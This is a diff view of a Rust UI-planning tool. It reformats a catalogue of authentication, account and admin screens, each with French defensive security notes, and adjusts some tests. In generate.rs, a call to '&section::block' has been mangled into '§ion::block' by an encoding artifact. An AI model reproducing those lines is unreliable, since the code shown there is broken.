| 120 | - Functionality { key: "email_validation", label: "EmailValidation", always: false, screens: &[ | |
| 121 | - Screen { name: "ResendVerification", suggested_route: "/resend-verification", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 122 | - core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", io: "renvoi email (résultat rendu par le core)", | |
| 123 | - security_notes: &[ | |
| 124 | - "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois", | |
| 125 | - ] }, | |
| 126 | - ]}, | |
| 127 | - Functionality { key: "two_factor", label: "TwoFactor", always: false, screens: &[ | |
| 128 | - Screen { name: "TwoFactorChallenge", suggested_route: "/login/2fa", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 129 | - core_methods: "TotpService, POST /api/v1/auth/2fa/verify", io: "code TOTP ou backup", | |
| 130 | - security_notes: &[ | |
| 131 | - "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code", | |
| 132 | - ] }, | |
| 133 | - Screen { name: "TwoFactorSetup", suggested_route: "/settings/2fa", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 134 | - core_methods: "TotpService::generate_setup/confirm/disable", io: "QR + confirmation", | |
| 135 | - security_notes: &[ | |
| 136 | - "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut", | |
| 137 | - "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)", | |
| 138 | - ] }, | |
| 139 | - Screen { name: "TwoFactorBackupCodes", suggested_route: "/settings/2fa/backup", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 140 | - core_methods: "TotpService (backup codes)", io: "génération/affichage codes", | |
| 141 | - security_notes: &[ | |
| 142 | - "codes affichés une seule fois, jamais logués ; ne stocker que leur hash", | |
| 143 | - ] }, | |
| 144 | - ]}, | |
| 145 | - Functionality { key: "account_profile", label: "AccountProfile", always: false, screens: &[ | |
| 146 | - Screen { name: "Profile", suggested_route: "/profile", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 147 | - core_methods: "UserService", io: "voir/éditer profil", | |
| 148 | - security_notes: &[ | |
| 149 | - "n'exposer et n'éditer que le profil de `claims.sub`", | |
| 150 | - ] }, | |
| 151 | - ]}, | |
| 152 | - Functionality { key: "password_change", label: "PasswordChange", always: false, screens: &[ | |
| 153 | - Screen { name: "PasswordChange", suggested_route: "/settings/password", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 154 | - core_methods: "PasswordChangeService", io: "changement mdp (confirmation email)", | |
| 155 | - security_notes: &[ | |
| 156 | - "exiger le mot de passe courant ; invalider les autres sessions après changement", | |
| 157 | - ] }, | |
| 158 | - Screen { name: "ConfirmPasswordChange", suggested_route: "/confirm-password-change", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 159 | - core_methods: "PasswordChangeService::find_by_token/confirm_request", io: "confirme via token", | |
| 160 | - security_notes: &[ | |
| 161 | - "valider le token côté core ; token à usage unique et expirant", | |
| 162 | - ] }, | |
| 163 | - ]}, | |
| 164 | - Functionality { key: "session_management", label: "SessionManagement", always: false, screens: &[ | |
| 165 | - Screen { name: "SessionsList", suggested_route: "/settings/sessions", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 166 | - core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", io: "liste sessions + révoquer", | |
| 167 | - security_notes: &[ | |
| 168 | - "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)", | |
| 169 | - ] }, | |
| 170 | - ]}, | |
| 171 | - Functionality { key: "preferences", label: "Preferences", always: false, screens: &[ | |
| 172 | - Screen { name: "Preferences", suggested_route: "/settings/preferences", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 173 | - core_methods: "UserPreferencesService", io: "préférences utilisateur", | |
| 174 | - security_notes: &[ | |
| 175 | - "ne modifier que les préférences de `claims.sub`", | |
| 176 | - ] }, | |
| 177 | - ]}, | |
| 178 | - Functionality { key: "oauth_linking", label: "OAuthLinking", always: false, screens: &[ | |
| 179 | - Screen { name: "OAuthAccountLinking", suggested_route: "/settings/oauth", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 180 | - core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", io: "lier/délier comptes (+ boutons login)", | |
| 181 | - security_notes: &[ | |
| 182 | - "vérifier le paramètre `state` anti-CSRF au retour du provider", | |
| 183 | - "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`", | |
| 184 | - ] }, | |
| 185 | - ]}, | |
| 186 | - Functionality { key: "teams", label: "Teams", always: false, screens: &[ | |
| 187 | - Screen { name: "TeamsManagement", suggested_route: "/teams", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 188 | - core_methods: "TeamService (create/add_member/…), TeamRole", io: "équipes + membres (owner/admin/member)", | |
| 189 | - security_notes: &[ | |
| 190 | - "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable", | |
| 191 | - "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)", | |
| 192 | - ] }, | |
| 193 | - ]}, | |
| 194 | - Functionality { key: "personal_access_tokens", label: "PersonalAccessTokens", always: false, screens: &[ | |
| 195 | - Screen { name: "PatManagement", suggested_route: "/settings/tokens", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 196 | - core_methods: "PersonalTokenService::create/list_for_user/revoke", io: "créer/révoquer jetons (plaintext 1 fois)", | |
| 197 | - security_notes: &[ | |
| 198 | - "jeton en clair affiché une seule fois, jamais reconsultable ni logué", | |
| 199 | - "IDOR : révocation et listage filtrés par `claims.sub`", | |
| 200 | - ] }, | |
| 201 | - ]}, | |
| 202 | - Functionality { key: "admin_users", label: "Admin · Users", always: false, screens: &[ | |
| 203 | - Screen { name: "AdminUsers", suggested_route: "/admin/users", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 204 | - core_methods: "UserService, RoleService, PasswordResetService, TotpService", io: "liste + CRUD + reset", | |
| 205 | - security_notes: &[ | |
| 206 | - "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)", | |
| 207 | - "empêcher l'auto-suppression ; message générique si utilisateur introuvable", | |
| 208 | - ] }, | |
| 209 | - ]}, | |
| 210 | - Functionality { key: "admin_roles", label: "Admin · Roles", always: false, screens: &[ | |
| 211 | - Screen { name: "AdminRoles", suggested_route: "/admin/roles", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 212 | - core_methods: "RoleService, PermissionService", io: "liste + CRUD rôles/permissions", | |
| 213 | - security_notes: &[ | |
| 214 | - "`ensure_admin()` en défense en profondeur ; protéger le dernier admin", | |
| 215 | - "ne pas permettre l'auto-escalade de permissions", | |
| 216 | - ] }, | |
| 217 | - ]}, | |
| 218 | - Functionality { key: "admin_settings", label: "Admin · Settings", always: false, screens: &[ | |
| 219 | - Screen { name: "AdminSettings", suggested_route: "/admin/settings", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 220 | - core_methods: "AppSettingsService, CryptoService", io: "réglages applicatifs", | |
| 221 | - security_notes: &[ | |
| 222 | - "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair", | |
| 223 | - ] }, | |
| 224 | - ]}, | |
| 225 | - Functionality { key: "admin_error_log", label: "Admin · ErrorLog", always: false, screens: &[ | |
| 226 | - Screen { name: "AdminErrorLog", suggested_route: "/admin/errors", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 227 | - core_methods: "error_handler, I18nService", io: "journal d'erreurs", | |
| 228 | - security_notes: &[ | |
| 229 | - "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production", | |
| 230 | - ] }, | |
| 231 | - ]}, | |
| 232 | - Functionality { key: "admin_email_queue", label: "Admin · EmailQueue", always: false, screens: &[ | |
| 233 | - Screen { name: "AdminEmailQueue", suggested_route: "/admin/emails", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 234 | - core_methods: "EmailQueueService", io: "file d'emails", | |
| 235 | - security_notes: &[ | |
| 236 | - "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair", | |
| 237 | - ] }, | |
| 238 | - ]}, | |
| 239 | - Functionality { key: "admin_dashboard", label: "Admin · Dashboard", always: false, screens: &[ | |
| 240 | - Screen { name: "AdminDashboard", suggested_route: "/admin", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 241 | - core_methods: "cartes DashboardCardDTO", io: "accueil admin", | |
| 242 | - security_notes: &[ | |
| 243 | - "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées", | |
| 244 | - ] }, | |
| 245 | - ]}, | |
| 91 | + Functionality { | |
| 92 | + key: "authentication", | |
| 93 | + label: "Authentication", | |
| 94 | + always: true, | |
| 95 | + screens: &[Screen { | |
| 96 | + name: "Login", | |
| 97 | + suggested_route: "/login", | |
| 98 | + channel: Channel::Browser, | |
| 99 | + auth_level: AuthLevel::Public, | |
| 100 | + core_methods: "AuthService, JwtService, POST /api/v1/auth/login", | |
| 101 | + io: "form login → cookie JWT / challenge 2FA", | |
| 102 | + security_notes: &[ | |
| 103 | + "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`", | |
| 104 | + "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)", | |
| 105 | + ], | |
| 106 | + }], | |
| 107 | + }, | |
| 108 | + Functionality { | |
| 109 | + key: "registration", | |
| 110 | + label: "Registration", | |
| 111 | + always: false, | |
| 112 | + screens: &[Screen { | |
| 113 | + name: "Register", | |
| 114 | + suggested_route: "/register", | |
| 115 | + channel: Channel::Browser, | |
| 116 | + auth_level: AuthLevel::Public, | |
| 117 | + core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", | |
| 118 | + io: "form inscription", | |
| 119 | + security_notes: &[ | |
| 120 | + "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur", | |
| 121 | + "flux public : ne pas révéler qu'un email est déjà enregistré", | |
| 122 | + ], | |
| 123 | + }], | |
| 124 | + }, | |
| 125 | + Functionality { | |
| 126 | + key: "password_reset", | |
| 127 | + label: "PasswordReset", | |
| 128 | + always: false, | |
| 129 | + screens: &[ | |
| 130 | + Screen { | |
| 131 | + name: "ForgotPassword", | |
| 132 | + suggested_route: "/forgot-password", | |
| 133 | + channel: Channel::Browser, | |
| 134 | + auth_level: AuthLevel::Public, | |
| 135 | + core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", | |
| 136 | + io: "email → lien reset", | |
| 137 | + security_notes: &["réponse identique que l'email existe ou non (anti-énumération)"], | |
| 138 | + }, | |
| 139 | + Screen { | |
| 140 | + name: "ResetPassword", | |
| 141 | + suggested_route: "/reset-password", | |
| 142 | + channel: Channel::Browser, | |
| 143 | + auth_level: AuthLevel::Public, | |
| 144 | + core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", | |
| 145 | + io: "token + nouveau mdp", | |
| 146 | + security_notes: &[ | |
| 147 | + "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)", | |
| 148 | + "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission", | |
| 149 | + ], | |
| 150 | + }, | |
| 151 | + ], | |
| 152 | + }, | |
| 153 | + Functionality { | |
| 154 | + key: "email_validation", | |
| 155 | + label: "EmailValidation", | |
| 156 | + always: false, | |
| 157 | + screens: &[Screen { | |
| 158 | + name: "ResendVerification", | |
| 159 | + suggested_route: "/resend-verification", | |
| 160 | + channel: Channel::Browser, | |
| 161 | + auth_level: AuthLevel::Public, | |
| 162 | + core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", | |
| 163 | + io: "renvoi email (résultat rendu par le core)", | |
| 164 | + security_notes: &[ | |
| 165 | + "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois", | |
| 166 | + ], | |
| 167 | + }], | |
| 168 | + }, | |
| 169 | + Functionality { | |
| 170 | + key: "two_factor", | |
| 171 | + label: "TwoFactor", | |
| 172 | + always: false, | |
| 173 | + screens: &[ | |
| 174 | + Screen { | |
| 175 | + name: "TwoFactorChallenge", | |
| 176 | + suggested_route: "/login/2fa", | |
| 177 | + channel: Channel::Browser, | |
| 178 | + auth_level: AuthLevel::Public, | |
| 179 | + core_methods: "TotpService, POST /api/v1/auth/2fa/verify", | |
| 180 | + io: "code TOTP ou backup", | |
| 181 | + security_notes: &[ | |
| 182 | + "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code", | |
| 183 | + ], | |
| 184 | + }, | |
| 185 | + Screen { | |
| 186 | + name: "TwoFactorSetup", | |
| 187 | + suggested_route: "/settings/2fa", | |
| 188 | + channel: Channel::Browser, | |
| 189 | + auth_level: AuthLevel::Authenticated, | |
| 190 | + core_methods: "TotpService::generate_setup/confirm/disable", | |
| 191 | + io: "QR + confirmation", | |
| 192 | + security_notes: &[ | |
| 193 | + "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut", | |
| 194 | + "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)", | |
| 195 | + ], | |
| 196 | + }, | |
| 197 | + Screen { | |
| 198 | + name: "TwoFactorBackupCodes", | |
| 199 | + suggested_route: "/settings/2fa/backup", | |
| 200 | + channel: Channel::Browser, | |
| 201 | + auth_level: AuthLevel::Authenticated, | |
| 202 | + core_methods: "TotpService (backup codes)", | |
| 203 | + io: "génération/affichage codes", | |
| 204 | + security_notes: &[ | |
| 205 | + "codes affichés une seule fois, jamais logués ; ne stocker que leur hash", | |
| 206 | + ], | |
| 207 | + }, | |
| 208 | + ], | |
| 209 | + }, | |
| 210 | + Functionality { | |
| 211 | + key: "account_profile", | |
| 212 | + label: "AccountProfile", | |
| 213 | + always: false, | |
| 214 | + screens: &[Screen { | |
| 215 | + name: "Profile", | |
| 216 | + suggested_route: "/profile", | |
| 217 | + channel: Channel::Browser, | |
| 218 | + auth_level: AuthLevel::Authenticated, | |
| 219 | + core_methods: "UserService", | |
| 220 | + io: "voir/éditer profil", | |
| 221 | + security_notes: &["n'exposer et n'éditer que le profil de `claims.sub`"], | |
| 222 | + }], | |
| 223 | + }, | |
| 224 | + Functionality { | |
| 225 | + key: "password_change", | |
| 226 | + label: "PasswordChange", | |
| 227 | + always: false, | |
| 228 | + screens: &[ | |
| 229 | + Screen { | |
| 230 | + name: "PasswordChange", | |
| 231 | + suggested_route: "/settings/password", | |
| 232 | + channel: Channel::Browser, | |
| 233 | + auth_level: AuthLevel::Authenticated, | |
| 234 | + core_methods: "PasswordChangeService", | |
| 235 | + io: "changement mdp (confirmation email)", | |
| 236 | + security_notes: &[ | |
| 237 | + "exiger le mot de passe courant ; invalider les autres sessions après changement", | |
| 238 | + ], | |
| 239 | + }, | |
| 240 | + Screen { | |
| 241 | + name: "ConfirmPasswordChange", | |
| 242 | + suggested_route: "/confirm-password-change", | |
| 243 | + channel: Channel::Browser, | |
| 244 | + auth_level: AuthLevel::Public, | |
| 245 | + core_methods: "PasswordChangeService::find_by_token/confirm_request", | |
| 246 | + io: "confirme via token", | |
| 247 | + security_notes: &["valider le token côté core ; token à usage unique et expirant"], | |
| 248 | + }, | |
| 249 | + ], | |
| 250 | + }, | |
| 251 | + Functionality { | |
| 252 | + key: "session_management", | |
| 253 | + label: "SessionManagement", | |
| 254 | + always: false, | |
| 255 | + screens: &[Screen { | |
| 256 | + name: "SessionsList", | |
| 257 | + suggested_route: "/settings/sessions", | |
| 258 | + channel: Channel::Browser, | |
| 259 | + auth_level: AuthLevel::ResourceOwner, | |
| 260 | + core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", | |
| 261 | + io: "liste sessions + révoquer", | |
| 262 | + security_notes: &[ | |
| 263 | + "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)", | |
| 264 | + ], | |
| 265 | + }], | |
| 266 | + }, | |
| 267 | + Functionality { | |
| 268 | + key: "preferences", | |
| 269 | + label: "Preferences", | |
| 270 | + always: false, | |
| 271 | + screens: &[Screen { | |
| 272 | + name: "Preferences", | |
| 273 | + suggested_route: "/settings/preferences", | |
| 274 | + channel: Channel::Browser, | |
| 275 | + auth_level: AuthLevel::Authenticated, | |
| 276 | + core_methods: "UserPreferencesService", | |
| 277 | + io: "préférences utilisateur", | |
| 278 | + security_notes: &["ne modifier que les préférences de `claims.sub`"], | |
| 279 | + }], | |
| 280 | + }, | |
| 281 | + Functionality { | |
| 282 | + key: "oauth_linking", | |
| 283 | + label: "OAuthLinking", | |
| 284 | + always: false, | |
| 285 | + screens: &[Screen { | |
| 286 | + name: "OAuthAccountLinking", | |
| 287 | + suggested_route: "/settings/oauth", | |
| 288 | + channel: Channel::Browser, | |
| 289 | + auth_level: AuthLevel::Authenticated, | |
| 290 | + core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", | |
| 291 | + io: "lier/délier comptes (+ boutons login)", | |
| 292 | + security_notes: &[ | |
| 293 | + "vérifier le paramètre `state` anti-CSRF au retour du provider", | |
| 294 | + "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`", | |
| 295 | + ], | |
| 296 | + }], | |
| 297 | + }, | |
| 298 | + Functionality { | |
| 299 | + key: "teams", | |
| 300 | + label: "Teams", | |
| 301 | + always: false, | |
| 302 | + screens: &[Screen { | |
| 303 | + name: "TeamsManagement", | |
| 304 | + suggested_route: "/teams", | |
| 305 | + channel: Channel::Browser, | |
| 306 | + auth_level: AuthLevel::ResourceOwner, | |
| 307 | + core_methods: "TeamService (create/add_member/…), TeamRole", | |
| 308 | + io: "équipes + membres (owner/admin/member)", | |
| 309 | + security_notes: &[ | |
| 310 | + "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable", | |
| 311 | + "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)", | |
| 312 | + ], | |
| 313 | + }], | |
| 314 | + }, | |
| 315 | + Functionality { | |
| 316 | + key: "personal_access_tokens", | |
| 317 | + label: "PersonalAccessTokens", | |
| 318 | + always: false, | |
| 319 | + screens: &[Screen { | |
| 320 | + name: "PatManagement", | |
| 321 | + suggested_route: "/settings/tokens", | |
| 322 | + channel: Channel::Browser, | |
| 323 | + auth_level: AuthLevel::ResourceOwner, | |
| 324 | + core_methods: "PersonalTokenService::create/list_for_user/revoke", | |
| 325 | + io: "créer/révoquer jetons (plaintext 1 fois)", | |
| 326 | + security_notes: &[ | |
| 327 | + "jeton en clair affiché une seule fois, jamais reconsultable ni logué", | |
| 328 | + "IDOR : révocation et listage filtrés par `claims.sub`", | |
| 329 | + ], | |
| 330 | + }], | |
| 331 | + }, | |
| 332 | + Functionality { | |
| 333 | + key: "admin_users", | |
| 334 | + label: "Admin · Users", | |
| 335 | + always: false, | |
| 336 | + screens: &[Screen { | |
| 337 | + name: "AdminUsers", | |
| 338 | + suggested_route: "/admin/users", | |
| 339 | + channel: Channel::Browser, | |
| 340 | + auth_level: AuthLevel::Admin, | |
| 341 | + core_methods: "UserService, RoleService, PasswordResetService, TotpService", | |
| 342 | + io: "liste + CRUD + reset", | |
| 343 | + security_notes: &[ | |
| 344 | + "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)", | |
| 345 | + "empêcher l'auto-suppression ; message générique si utilisateur introuvable", | |
| 346 | + ], | |
| 347 | + }], | |
| 348 | + }, | |
| 349 | + Functionality { | |
| 350 | + key: "admin_roles", | |
| 351 | + label: "Admin · Roles", | |
| 352 | + always: false, | |
| 353 | + screens: &[Screen { | |
| 354 | + name: "AdminRoles", | |
| 355 | + suggested_route: "/admin/roles", | |
| 356 | + channel: Channel::Browser, | |
| 357 | + auth_level: AuthLevel::Admin, | |
| 358 | + core_methods: "RoleService, PermissionService", | |
| 359 | + io: "liste + CRUD rôles/permissions", | |
| 360 | + security_notes: &[ | |
| 361 | + "`ensure_admin()` en défense en profondeur ; protéger le dernier admin", | |
| 362 | + "ne pas permettre l'auto-escalade de permissions", | |
| 363 | + ], | |
| 364 | + }], | |
| 365 | + }, | |
| 366 | + Functionality { | |
| 367 | + key: "admin_settings", | |
| 368 | + label: "Admin · Settings", | |
| 369 | + always: false, | |
| 370 | + screens: &[Screen { | |
| 371 | + name: "AdminSettings", | |
| 372 | + suggested_route: "/admin/settings", | |
| 373 | + channel: Channel::Browser, | |
| 374 | + auth_level: AuthLevel::Admin, | |
| 375 | + core_methods: "AppSettingsService, CryptoService", | |
| 376 | + io: "réglages applicatifs", | |
| 377 | + security_notes: &[ | |
| 378 | + "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair", | |
| 379 | + ], | |
| 380 | + }], | |
| 381 | + }, | |
| 382 | + Functionality { | |
| 383 | + key: "admin_error_log", | |
| 384 | + label: "Admin · ErrorLog", | |
| 385 | + always: false, | |
| 386 | + screens: &[Screen { | |
| 387 | + name: "AdminErrorLog", | |
| 388 | + suggested_route: "/admin/errors", | |
| 389 | + channel: Channel::Browser, | |
| 390 | + auth_level: AuthLevel::Admin, | |
| 391 | + core_methods: "error_handler, I18nService", | |
| 392 | + io: "journal d'erreurs", | |
| 393 | + security_notes: &[ | |
| 394 | + "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production", | |
| 395 | + ], | |
| 396 | + }], | |
| 397 | + }, | |
| 398 | + Functionality { | |
| 399 | + key: "admin_email_queue", | |
| 400 | + label: "Admin · EmailQueue", | |
| 401 | + always: false, | |
| 402 | + screens: &[Screen { | |
| 403 | + name: "AdminEmailQueue", | |
| 404 | + suggested_route: "/admin/emails", | |
| 405 | + channel: Channel::Browser, | |
| 406 | + auth_level: AuthLevel::Admin, | |
| 407 | + core_methods: "EmailQueueService", | |
| 408 | + io: "file d'emails", | |
| 409 | + security_notes: &[ | |
| 410 | + "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair", | |
| 411 | + ], | |
| 412 | + }], | |
| 413 | + }, | |
| 414 | + Functionality { | |
| 415 | + key: "admin_dashboard", | |
| 416 | + label: "Admin · Dashboard", | |
| 417 | + always: false, | |
| 418 | + screens: &[Screen { | |
| 419 | + name: "AdminDashboard", | |
| 420 | + suggested_route: "/admin", | |
| 421 | + channel: Channel::Browser, | |
| 422 | + auth_level: AuthLevel::Admin, | |
| 423 | + core_methods: "cartes DashboardCardDTO", | |
| 424 | + io: "accueil admin", | |
| 425 | + security_notes: &[ | |
| 426 | + "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées", | |
| 427 | + ], | |
| 428 | + }], | |
| 429 | + }, | |
| 246 | 430 | ]; |
| 247 | 431 | |
| 248 | 432 | #[cfg(test)] |
@@ -269,17 +453,37 @@ mod tests {
| 269 | 453 | #[test] |
| 270 | 454 | fn catalogue_couvre_les_fonctionnalites_attendues() { |
| 271 | 455 | let expected = [ |
| 272 | - "authentication", "registration", "password_reset", "email_validation", | |
| 273 | - "two_factor", "account_profile", "password_change", "session_management", | |
| 274 | - "preferences", "oauth_linking", "teams", "personal_access_tokens", | |
| 275 | - "admin_users", "admin_roles", "admin_settings", "admin_error_log", | |
| 276 | - "admin_email_queue", "admin_dashboard", | |
| 456 | + "authentication", | |
| 457 | + "registration", | |
| 458 | + "password_reset", | |
| 459 | + "email_validation", | |
| 460 | + "two_factor", | |
| 461 | + "account_profile", | |
| 462 | + "password_change", | |
| 463 | + "session_management", | |
| 464 | + "preferences", | |
| 465 | + "oauth_linking", | |
| 466 | + "teams", | |
| 467 | + "personal_access_tokens", | |
| 468 | + "admin_users", | |
| 469 | + "admin_roles", | |
| 470 | + "admin_settings", | |
| 471 | + "admin_error_log", | |
| 472 | + "admin_email_queue", | |
| 473 | + "admin_dashboard", | |
| 277 | 474 | ]; |
| 278 | 475 | let keys: Vec<&str> = all().iter().map(|f| f.key).collect(); |
| 279 | 476 | for k in expected { |
| 280 | - assert!(keys.contains(&k), "fonctionnalité manquante au catalogue : {k}"); | |
| 477 | + assert!( | |
| 478 | + keys.contains(&k), | |
| 479 | + "fonctionnalité manquante au catalogue : {k}" | |
| 480 | + ); | |
| 281 | 481 | } |
| 282 | - assert_eq!(keys.len(), expected.len(), "nombre de fonctionnalités inattendu"); | |
| 482 | + assert_eq!( | |
| 483 | + keys.len(), | |
| 484 | + expected.len(), | |
| 485 | + "nombre de fonctionnalités inattendu" | |
| 486 | + ); | |
| 283 | 487 | } |
| 284 | 488 | |
| 285 | 489 | #[test] |
M
crates/rustwarden-core/src/bin/screen-select/check.rs
+13
-4
@@ -51,9 +51,14 @@ mod tests {
| 51 | 51 | |
| 52 | 52 | fn row(route: &str) -> TodoRow { |
| 53 | 53 | TodoRow { |
| 54 | - done: false, functionality: "F".into(), screen: "S".into(), | |
| 55 | - route: route.into(), channel: "browser".into(), protected: true, | |
| 56 | - methods: "".into(), io: "".into(), | |
| 54 | + done: false, | |
| 55 | + functionality: "F".into(), | |
| 56 | + screen: "S".into(), | |
| 57 | + route: route.into(), | |
| 58 | + channel: "browser".into(), | |
| 59 | + protected: true, | |
| 60 | + methods: "".into(), | |
| 61 | + io: "".into(), | |
| 57 | 62 | } |
| 58 | 63 | } |
| 59 | 64 |
@@ -83,7 +88,11 @@ mod tests {
| 83 | 88 | std::fs::create_dir_all(base.join("crates/rustwarden-core/src")).unwrap(); |
| 84 | 89 | std::fs::create_dir_all(base.join("target")).unwrap(); |
| 85 | 90 | std::fs::write(base.join("src/app.rs"), r#".route("/mine", get(h))"#).unwrap(); |
| 86 | - std::fs::write(base.join("crates/rustwarden-core/src/x.rs"), r#".route("/vendored", get(h))"#).unwrap(); | |
| 91 | + std::fs::write( | |
| 92 | + base.join("crates/rustwarden-core/src/x.rs"), | |
| 93 | + r#".route("/vendored", get(h))"#, | |
| 94 | + ) | |
| 95 | + .unwrap(); | |
| 87 | 96 | std::fs::write(base.join("target/y.rs"), r#".route("/built", get(h))"#).unwrap(); |
| 88 | 97 | |
| 89 | 98 | let hay = collect_sources(&base); |
M
crates/rustwarden-core/src/bin/screen-select/generate.rs
+26
-6
@@ -42,7 +42,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
| 42 | 42 | inputs.project |
| 43 | 43 | )); |
| 44 | 44 | // Garde-fous transversaux + conventions de rendu sûr (statique, vu en premier). |
| 45 | - out.push_str(§ion::block(security::GUIDES_ID, &security::guides_body())); | |
| 45 | + out.push_str(§ion::block( | |
| 46 | + security::GUIDES_ID, | |
| 47 | + &security::guides_body(), | |
| 48 | + )); | |
| 46 | 49 | out.push_str("\n\n"); |
| 47 | 50 | if let Some(design) = &inputs.design_md { |
| 48 | 51 | out.push_str("## Charte graphique (à respecter)\n\n"); |
@@ -58,7 +61,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
| 58 | 61 | out.push_str(&todo::render(rows)); |
| 59 | 62 | out.push('\n'); |
| 60 | 63 | // Contrat de sécurité par écran (dérivé du catalogue, en référence sous le tableau). |
| 61 | - out.push_str(§ion::block(security::PER_SCREEN_ID, &security::reference_body(&inputs.selected))); | |
| 64 | + out.push_str(§ion::block( | |
| 65 | + security::PER_SCREEN_ID, | |
| 66 | + &security::reference_body(&inputs.selected), | |
| 67 | + )); | |
| 62 | 68 | out.push('\n'); |
| 63 | 69 | out |
| 64 | 70 | } |
@@ -89,7 +95,10 @@ mod tests {
| 89 | 95 | let rows = rows_for(&inputs.selected); |
| 90 | 96 | let out = render_plan(&inputs, &rows); |
| 91 | 97 | assert!(out.contains("# Plan UI — demo")); |
| 92 | - assert!(out.contains("**`demo-ui`**"), "l'intro doit nommer la crate <projet>-ui"); | |
| 98 | + assert!( | |
| 99 | + out.contains("**`demo-ui`**"), | |
| 100 | + "l'intro doit nommer la crate <projet>-ui" | |
| 101 | + ); | |
| 93 | 102 | assert!(out.contains("Police: Inter")); |
| 94 | 103 | assert!(out.contains("navbar: gauche")); |
| 95 | 104 | assert!(out.contains("| Statut | Fonctionnalité |")); |
@@ -103,14 +112,22 @@ mod tests {
| 103 | 112 | let tf = catalogue::by_key("two_factor").unwrap(); |
| 104 | 113 | let login = &rows_for(&[auth])[0]; |
| 105 | 114 | assert!(!login.protected); |
| 106 | - let setup = rows_for(&[tf]).into_iter().find(|r| r.screen == "TwoFactorSetup").unwrap(); | |
| 115 | + let setup = rows_for(&[tf]) | |
| 116 | + .into_iter() | |
| 117 | + .find(|r| r.screen == "TwoFactorSetup") | |
| 118 | + .unwrap(); | |
| 107 | 119 | assert!(setup.protected); |
| 108 | 120 | } |
| 109 | 121 | |
| 110 | 122 | #[test] |
| 111 | 123 | fn render_plan_inclut_les_sections_securite() { |
| 112 | 124 | let auth = catalogue::by_key("authentication").unwrap(); |
| 113 | - let inputs = PlanInputs { project: "demo", selected: vec![auth], design_md: None, layout: None }; | |
| 125 | + let inputs = PlanInputs { | |
| 126 | + project: "demo", | |
| 127 | + selected: vec![auth], | |
| 128 | + design_md: None, | |
| 129 | + layout: None, | |
| 130 | + }; | |
| 114 | 131 | let rows = rows_for(&inputs.selected); |
| 115 | 132 | let out = render_plan(&inputs, &rows); |
| 116 | 133 | assert!(out.contains("<!-- screen-select:security-guides -->")); |
@@ -122,6 +139,9 @@ mod tests {
